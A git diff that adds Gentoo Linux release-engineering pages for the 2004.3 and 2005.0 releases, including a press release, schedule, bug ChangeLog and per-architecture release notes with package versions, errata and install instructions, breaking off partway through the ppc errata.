+			please read <uri link="http://www.gentoo.org/proj/en/releng/docs/cascading-profiles.xml">
+			http://www.gentoo.org/proj/en/releng/docs/cascading-profiles.xml</uri>. For information about how to change your
+			profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in pre-2004.1 releases.</li>
+				<li>Gentoo Linux 2004.3 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.0. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+				<li>The default XServer has changed from XFree86 to x.org's X-Server.
+				If you want to use the new server instead of the old XFree (which is unmaintained now)
+				simply emerge <c>xorg-x11</c> instead of <c>xfree</c></li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2004.3. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.3</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.3</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.9 (gentoo-dev-sources-2.6.9-r1). The alternative kernel, <c>gentoo-nofb</c>, 
+			boots without console framebuffer support. Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.3/livecd/universal/install-x86-universal-2004.3.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.3/livecd/universal/install-x86-minimal-2004.3.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/x86/2004.3/livecd/$subarch/packages-x86-2004.3.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.3</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2004.3 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.3. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/2005.0-press-release.txt b/xml/htdocs/proj/en/releng/release/2005.0/2005.0-press-release.txt
new file mode 100644
index 00000000..186dae91
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/2005.0-press-release.txt
@@ -0,0 +1,20 @@
+Gentoo Linux is proud to bring you the long awaited Gentoo Linux 2005.0
+release!
+
+This release has had a few setbacks including a complete security
+rebuild, but with the help of the many teams within the Gentoo developer
+community, we believe that this release will be one of the best that we
+have ever had.
+
+This release includes new installation media from Alpha, AMD64, PPC,
+PPC64, SPARC, and x86 and includes stages for IA64 and SPARC32. Please
+check out our mirrors [1] to find the closest one to you.
+
+As with 2004.3, you will be able to download optimized PackageCD images
+for x86 and PPC via our bittorrent [2] server, and also our "unofficial"
+secondary bittorrent [3] server, provided by Friends of Gentoo e.V. in
+Germany.
+
+[1] http://www.gentoo.org/main/en/mirrors.xml
+[2] http://torrents.gentoo.org/
+[3] http://tracker.netdomination.org/
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/2005.0.xml b/xml/htdocs/proj/en/releng/release/2005.0/2005.0.xml
new file mode 100644
index 00000000..5c199285
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/2005.0.xml
@@ -0,0 +1,176 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/2005.0.xml,v 1.9 2005/12/01 16:26:36 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2005.0.xml">
+<title>2005.0 Release Information</title>
+
+<author title="Author">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide serves as the definitive source for all 2005.0 information.
+</abstract>
+
+<license/>
+
+<version>1.6</version>
+<date>16 April 2005</date>
+
+<chapter>
+	<title>Goals</title>
+	<section>
+		<body>
+			<p>Following up on the highly successful 2004.3 release, the Release Engineeing team is taking steps into new directions for 2005.  The main focus of this release is to continue to improve the quality of our release media, and also to explore some new possibilities with our media.</p>
+			<p>Several architectures will be creating lots of new release media, which will be available as experimental media.</p>
+			<p>The Release Engineering team has identified the following key focus areas:</p>
+			<ul>
+				<li>Smaller InstallCD images</li>
+				<li>Improved QA processes</li>
+				<li>Improved inter-architecture cooperation</li>
+				<li>Single Snapshot across all architectures</li>
+			</ul>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>2005.0 Information</title>
+	<section>
+		<title>Release Resources</title>
+		<body>
+			<p><b>Release Notes:</b></p>
+			<ul>
+				<li>Alpha Release Notes</li>
+				<li><uri link="amd64-release-notes.xml">AMD64 Release Notes</uri></li>
+				<li><uri link="ia64-release-notes.xml">IA-64 Release Notes</uri></li>
+				<li><uri link="ppc-release-notes.xml">PPC Release Notes</uri></li>
+				<li>PPC64 Release Notes</li>
+				<li>SPARC Release Notes</li>
+				<li><uri link="x86-release-notes.xml">x86 Release Notes</uri></li>
+			</ul>
+			<p>There will be md5sums for all release media on the Gentoo mirrors.</p>
+			<p>All release media will be signed by the <c>Gentoo Linux Release Engineering (releng@gentoo.org)</c> PGP key. The public key ID is <c>17072058</c>, and the key is available through the <c>subkeys.pgp.net</c> keyserver.</p>
+		</body>
+	</section>
+		
+	<section>
+		<title>Contacts and Schedule</title>
+		<body>
+		<p><b>Contacts:</b></p>
+		<ul>
+			<li>Release Operations: <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail></li>
+			<li>Public Relations/Documentation: <mail link="swift@gentoo.org">Sven Vermeulen</mail></li>
+			<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff Forman</mail></li>
+		</ul>
+		<p><b>2005.0 Schedule</b></p>
+		<table>
+			<tr>
+				<th>Milestone</th>
+				<th>Description</th>
+			<!--	<th>Deadline</th> -->
+				<th>Status</th>
+			</tr>
+			<tr>
+				<ti>QA Testing</ti>
+				<ti>Release components have been thoroughly tested in accordance
+				with the QA guidelines. At least one test release has been made by this time by each architecture.</ti>
+			<!--	<ti>January 21st</ti> -->
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Release upload</ti>
+				<ti>All release components are uploaded to the arch release 
+				coordinator's webspace on dev.gentoo.org</ti>
+			<!--	<ti>January 31st</ti> -->
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Mirrors are staged</ti>
+				<ti>Releng and Infra will stage the mirrors</ti>
+			<!--	<ti>February 1st</ti> -->
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>2005.0 Release</ti>
+				<ti>2005.0 is publically released</ti>
+			<!--	<ti>February 7th</ti> -->
+				<ti>Complete</ti>
+			</tr>
+		</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+		<p>The following supported architectures are tentatively releasing 2005.0: </p>
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2005.0</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>alpha</ti>
+				<ti>alpha</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>kloeri, agriffis</ti>
+			</tr>
+			<tr>
+				<ti>amd64</ti>
+				<ti>amd64</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>jhuebel</ti>
+			</tr>
+			<tr>
+				<ti>ppc</ti>
+				<ti>G3, G4, G5</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>pylon</ti>
+			</tr>
+			<tr>
+				<ti>ppc64</ti>
+				<ti>ppc64</ti>
+				<ti>InstallCDs, stages</ti>
+				<ti>tgall</ti>
+			</tr>
+			<tr>
+				<ti>sparc</ti>
+				<ti>sparc32, sparc64</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>weeve, gustavoz</ti>
+			</tr>
+			<tr>
+				<ti>x86</ti>
+				<ti>x86, athlon-xp, pentium3, pentium4</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>beejay</ti>
+			</tr>
+		</table>
+		
+		<p>The following unsupported architectures are tentatively releasing 2005.0: </p>
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2005.0</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>ia64</ti>
+				<ti>ia64</ti>
+				<ti>stages</ti>
+				<ti>plasmaroo</ti>
+			</tr>
+		</table>
+		<p>If information regarding a specific arch is wrong or has been omitted, please contact the release operations manager.</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/ChangeLog b/xml/htdocs/proj/en/releng/release/2005.0/ChangeLog
new file mode 100644
index 00000000..12f4f1bd
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/ChangeLog
@@ -0,0 +1,53 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/ChangeLog,v 1.4 2005/03/27 23:35:49 wolf31o2 Exp $
+
+# This file serves as the official ChangeLog for Gentoo Linux 2005.0
+# Each bugfix, enhancement, etc should be documented in this file
+# The syntax used by 'echangelog' should suffice.
+
+# PLEASE BE THOROUGH IN YOUR EXPLANATIONS!
+
+  27 Mar 2005; Chris Gianelloni <wolf31o2@gentoo.org> :
+  I also have a list of bugs that I am sure have been resolved with this
+  release. These are bugs for multiple architectures.
+  62684		LiveCD can not be rebooted properly with USB keyboard
+  63933		n_hdlc module is missing when I install the speedtouch USB
+  63936		Include ipw2200 driver on future LiveCDs
+  67468		Alpha experimental 2004.2 livecd DAC960 driver not  patched for
+  OEM DAC960
+  67960		livecd- please dhcpcd for eth1, eth2...
+  68970		livecd freeze on a new Imac G5
+  71248		Event Device Debug left on, so every keystroke floods dmesg buffer
+  with _2_ messages
+  71950		LiveCD: fcdsl needs to be compiled as a module
+  72055		Universal 2004.3 hangs on scsi detection tmscsim module
+  72238		Network not supported on P5AD2
+  72407		unable to do nfslock on LiveCD 2004.3, unable to install diskless
+  workstation from livecd
+  73256		INI 9x00 SCSI Host Adapter (initio) is not enabled in LiveCD
+  kernel
+  74169		ipw2100 firmware is in the wrong directory
+  73569		PS/2 mouse not detected (install-x86-universal-2004.3-r1.iso )
+  74045		Via-Rhine module does not work in 2004.3 live cd but does in
+  2004.2
+  74514		emerge coldplug fails on 2004.3-r1 installation because it is
+  masked
+  76341		Request: add LDM partition type support to livecd
+
+  24 Mar 2005; Benjamin Judas <beejay@gentoo.org> :
+  Bugs opened after 15/11/04 and fixed before 24/03/05,
+  affecting the x86-release (also besides other archs)
+  
+  71338 	2004.3 LiveCD kernels panic while booting on ThinkPad 770... 
+  71363 	2004.3 will not boot on both of my systems (both athlon x... 
+  71453 	mirrorselect appends bad data to make.conf 
+  71543 	Wrong aboot configuration on the 2004.3 alpha LiveCD 
+  71548 	While performing a Network-less Install using the install... 
+  71972 	LiveCD: universal x86 is missing some distfiles 
+  72060 	install disk cannot access hdc device 
+  73411 	rp-pppoe is not available on 2004.3 universal LiveCD 
+  75714 	"dokeymap" is extremely beginner-unfriendly 
+  76840 	2004.3 Minimal Alpha boot CD image fails on LX164 due to ... 
+  78565 	sk98lin not detect on 2004.3 amd64 livecd 
+
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/amd64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.0/amd64-release-notes.xml
new file mode 100644
index 00000000..da73acad
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/amd64-release-notes.xml
@@ -0,0 +1,240 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/amd64-release-notes.xml,v 1.4 2005/03/29 00:27:37 kugelfang Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="amd64-release-notes.xml">
+<title>amd64 Release Notes for Gentoo Linux 2005.0</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="amd64 Release Coordinator">
+	<mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+
+<abstract>
+Gentoo 2005.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>20 March 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.3</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200410-27 to 200503-17.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			<tr>
+				<ti>Bootsplash doesn't appear for modes below 1024x768</ti>
+				<ti>Modes below 1024x768 are not supported by the splashscreen on the livecd. You
+				should be able to install anyway since it's just eyecandy</ti>
+			</tr>
+			<tr>
+				<ti>Missing distfiles on Universal LiveCD</ti>
+				<ti>2 Files are missing on the Universal LiveCDto be able to complete the merge of 
+				    sys-kernel/gentoo-sources-2.6.11-r3. To come around this, you have to use the
+				    -r1 release. To achieve this, please run
+				    <c>echo "=sys-kernel/gentoo-sources-2.6.11-r1 ~amd64" >> /etc/portage/package.keywords</c>
+					and then run
+					<c>emerge =sys-kernel/gentoo-sources-2.6.11-r1</c>.</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.4.3-r1</li>
+				<li>glibc 2.3.4-20041102</li>
+				<li>gentoo-sources 2.6.11-r3</li>
+				<li>hardened-sources 2.6.10-r2</li>
+				<li>vanilla-sources 2.6.11.2</li>
+				<li>Portage 2.0.51.19</li>
+				<li>x.org-x11 6.8.2-r1</li>
+				<li>KDE 3.3.2</li>
+				<li>GNOME 2.8.1-r1</li>
+				<li>XFCE4 4.2.0</li>
+			</ul>
+
+			<p>There are two kernels available on the livecd that will run on both, uniprocessor and smp
+			machines. The first one, <c>gentoo</c>, is for all AMD K8 systems and is NUMA capable. The
+			second one, <c>gentoo-em64t</c> is a generic x86-64 kernel with SMP support that should run
+			on all systems.</p>
+
+			<p>For information about how to change your profile please read the
+			<uri link="http://www.gentoo.org/proj/en/base/amd64/howtos/index.xml?part=1&amp;chap=1">
+			Gentoo/AMD64 2005.0 upgrade guide</uri></p>
+			
+			<warn>Please follow above guide <b>by the letter</b>, or your system may end up unusable.</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.19 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.1. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.0. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.11 (gentoo-sources-2.6.11-r3). The alternative kernel, <c>gentoo-em64t</c>, 
+			is compiled without AMD K8 optimization and without NUMA support, but with SMP support. Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/amd64/2005.0/installcd/install-amd64-universal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/amd64/2005.0/installcd/install-amd64-minimal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/amd64/2005.0/packagecd/packages-amd64-2005.0.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2005.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.0. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/ia64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.0/ia64-release-notes.xml
new file mode 100644
index 00000000..121c22ea
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/ia64-release-notes.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/ia64-release-notes.xml,v 1.4 2005/03/30 18:00:50 plasmaroo Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ia64-release-notes.xml">
+<title>IA/64 Release Notes for Gentoo Linux 2005.0</title>
+
+<author title="ia64 Release Coordinator">
+	<mail link="plasmaroo@gentoo.org">Tim Yamin</mail>
+</author>
+
+<abstract>
+Gentoo 2005.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>24 February 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>
+			Gentoo Linux is a community driven project committed to producing
+			high quality open-source software. These release notes for Gentoo Linux 2005.0
+			summarize important release changes and the installation process for Gentoo Linux
+			2005.0 for Itanium systems.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>3. Installing and upgrading Gentoo Linux</li>
+		</ul>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.0</title>
+	<section>
+		<title>Important Changes for 2005.0</title>
+		<body>
+		<p>
+			For this release, the Itanium architecture now utilizes 2.6 kernel headers for better interoperability
+			with 2.6 kernels as well as a newer 2.3.4 stable glibc branch. The GCC toolchain has not been
+			changed due to known issues in newer versions and remains at 3.3.2.
+		</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Installing and Upgrading to Gentoo Linux 2005.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.0</title>
+		<body>
+			<p>
+			No LiveCDs are available at this moment due to a lack of physical access to testing hardware,
+			so the only supported installation method is to either boot a <uri link="http://www.debian.org">Debian</uri>
+			IA/64 CD or to use an existing Linux installation to install Gentoo Linux.
+			</p>
+			<p>
+			Once you have booted Linux, whether from a CD or an existing installation, you should fetch the stages
+			and chroot as normal. It is <b>important</b> that you keep in mind the following considerations to
+			achieve a bootable installation:
+			</p>
+			
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			2004.3) there is no need to reinstall. You will automatically get
+			Gentoo 2005.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>.
+			</p>
+			<ul>
+				<li>
+				Use only GNU parted to create your partitions. Other
+				applications such as fdisk or cfdisk do not support EFI GPT
+				partition tables, so your partitions will be lost on reboot.
+				</li>
+				<li>
+				You must use ELILO as your bootloader. Other bootloaders do not
+				support IA-64.
+				</li>
+				<li>
+				You should use a 2.6 kernel; 2.4 kernels have known issues and
+				are thus not supported by us.
+				</li>
+			</ul>
+		</body>
+	</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.0/ppc-release-notes.xml
new file mode 100644
index 00000000..3bdd914b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/ppc-release-notes.xml
@@ -0,0 +1,285 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/ppc-release-notes.xml,v 1.5 2005/03/28 22:44:15 pylon Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>ppc Release Notes for Gentoo Linux 2005.0</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="ppc Release Manager">
+	<mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+<abstract>
+Gentoo 2005.0 Release Notes
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-03-20</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project commited to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.3</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200410-27 to 200503-17.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+      <tr>
+        <ti>The welcome message on the LiveCD points to
+          <path>/mnt/cdrom/docs/handbook/html/index.html</path> for the
+          installation instructions, but that could not be found.</ti>
+      <ti>The handbook is located in
+        <path>/mnt/cdrom/docs/html/index.html</path>.  Please use this path for
+        the installation instructions included in the LiveCD.</ti>
+      </tr>
+			<tr>
+        <ti><c>pbbuttonsd</c> fails to start.</ti>
+				<ti>This tool gives some power and keyboard advantages to Apple Laptop
+          and Desktop users.  On some systems it fails to start, but that would
+        not harm anything for the installation.</ti>
+			</tr>
+			<tr>
+				<ti>The LiveCD starts a 2.6.10-kernel.  There are known security bugs
+          about this kernel.</ti>
+				<ti>The current stable kernel 2.6.11 breaks several things on ppc, like
+        the hardwareclock and G5 32-bit-support.  We created a special stable
+        2.6.10-kernel with the security-patches from the 2.6.11-kernel
+        backported.</ti>
+			</tr>
+			<tr>
+				<ti>Appending any boot parameters to the Pegasos-kernel drop the
+          compiled in parameters.</ti>
+				<ti>This is a known problem and currently unresolved.  Therefore we
+          created the bootmenu for fast access to different screen resolutions.
+          In the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap4">Gentoo
+          Linux PPC Handbook</uri> is the complete list of compiled in boot parameters
+          listed, if there is need for.</ti>
+			</tr>
+      <tr>
+        <ti>The fan on some G4 Apple laptops don't work during installation.</ti>
+        <ti>After the CD has booted you have to call <c>modprobe
